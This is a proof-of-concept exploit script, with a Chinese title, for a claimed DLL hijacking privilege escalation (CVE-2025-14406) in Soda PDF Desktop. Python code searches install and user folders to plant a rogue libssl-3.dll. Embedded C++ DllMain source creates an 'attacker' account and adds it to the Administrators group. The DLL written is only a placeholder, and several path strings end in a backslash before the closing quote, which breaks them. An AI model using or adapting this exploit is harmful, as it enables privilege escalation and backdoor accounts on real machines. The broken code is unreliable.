CVE-2025-14406: Soda PDF Desktop 本地权限提升漏洞

# CVE-2025-14406 PoC - Soda PDF Desktop Uncontrolled Search Path Element # This PoC demonstrates DLL hijacking via OpenSSL configuration # Target: Soda PDF Desktop # Privilege Escalation: Low privileged user -> SYSTEM import os import shutil import ctypes from ctypes import wintypes # Target application details TARGET_APP = "Soda PDF Desktop" MALICIOUS_DLL = "libssl-3.dll" # Common OpenSSL DLL name def create_malicious_dll(): """ Create a malicious DLL that will execute payload when loaded. In a real attack, this would be a compiled DLL with the actual payload. For demonstration, we show the structure. """ dll_code = ''' // Malicious DLL source code (C++) // Compile with: g++ -shared -o libssl-3.dll malicious.cpp #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute payload with SYSTEM privileges // Example: Create a new user or execute reverse shell system("cmd.exe /c net user attacker P@ssw0rd123 /add"); system("cmd.exe /c net localgroup Administrators attacker /add"); } return TRUE; } ''' return dll_code def find_target_directory(): """ Find the Soda PDF Desktop installation directory. Common locations: C:\Program Files\Soda PDF\ or C:\Program Files (x86)\Soda PDF\ """ possible_paths = [ r"C:\Program Files\Soda PDF\", r"C:\Program Files (x86)\Soda PDF\", os.path.expanduser("~\\AppData\\Local\\Programs\\Soda PDF\") ] for path in possible_paths: if os.path.exists(path): return path return None def plant_dll(target_dir): """ Plant the malicious DLL in a location where Soda PDF will load it. The DLL search order will cause our DLL to be loaded before the legitimate one. """ if not target_dir: print("[-] Target directory not found") return False malicious_path = os.path.join(target_dir, MALICIOUS_DLL) # Check if we can write to the target directory try: with open(malicious_path, 'w') as f: f.write("MALICIOUS_DLL_CONTENT") print(f"[+] Malicious DLL planted at: {malicious_path}") return True except PermissionError: print("[-] Permission denied. Try alternative locations in search path.") # Try user-writable directories in DLL search order user_dirs = [ os.getcwd(), os.path.expanduser("~\\Documents\"), os.path.expanduser("~\\Desktop\") ] for user_dir in user_dirs: try: malicious_path = os.path.join(user_dir, MALICIOUS_DLL) with open(malicious_path, 'w') as f: f.write("MALICIOUS_DLL_CONTENT") print(f"[+] Malicious DLL planted at: {malicious_path}") return True except: continue return False def main(): print("=" * 60) print("CVE-2025-14406 PoC - Soda PDF Desktop DLL Hijacking") print("=" * 60) # Step 1: Find target installation print("\n[1] Searching for Soda PDF Desktop installation...") target_dir = find_target_directory() if target_dir: print(f"[+] Found installation at: {target_dir}") else: print("[-] Soda PDF Desktop not found. Please install it first.") return # Step 2: Plant malicious DLL print("\n[2] Planting malicious DLL...") if plant_dll(target_dir): print("[+] DLL successfully planted") print("[*] When Soda PDF Desktop starts, it will load the malicious DLL") print("[*] Payload will be executed with elevated privileges") else: print("[-] Failed to plant DLL") if __name__ == "__main__": main()